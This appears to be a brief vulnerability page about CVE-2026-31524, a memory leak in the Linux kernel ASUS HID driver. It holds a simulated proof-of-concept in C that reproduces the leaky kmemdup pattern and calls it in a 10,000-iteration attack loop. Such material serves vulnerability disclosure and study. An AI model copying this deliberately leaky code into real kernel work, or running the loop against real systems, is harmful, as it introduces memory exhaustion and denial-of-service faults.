CVE-2026-31524 Linux内核ASUS驱动内存泄漏漏洞

/* * PoC Concept: Triggering Memory Leak in HID ASUS Driver * This code simulates the logic of repeatedly triggering the vulnerable function. * Actual exploitation requires physical access to the vulnerable ASUS HID device. */ #include <linux/module.h> #include <linux/hid.h> // Simulated vulnerable function logic (Before Patch) void *vulnerable_asus_report_fixup(struct hid_device *hdev, __u8 *rdesc, unsigned int *rsize) { // Allocating memory without a corresponding free mechanism in the caller/context __u8 *new_rdesc = kmemdup(rdesc, *rsize, GFP_KERNEL); if (!new_rdesc) return NULL; // Simulate modification (Out-of-bounds read risk if size is wrong) // ... modification logic ... return new_rdesc; // Memory leaked here if caller doesn't free } // Attack Loop Simulation void trigger_leak(struct hid_device *hdev) { int i; __u8 dummy_desc[] = {0x01, 0x02}; unsigned int size = sizeof(dummy_desc); for (i = 0; i < 10000; i++) { // In a real scenario, this is called via device interaction void *leaked_ptr = vulnerable_asus_report_fixup(hdev, dummy_desc, &size); // Pointer is lost here, memory leaked } printk(KERN_INFO "POC: Memory leaked potentially %d times\n", 10000); }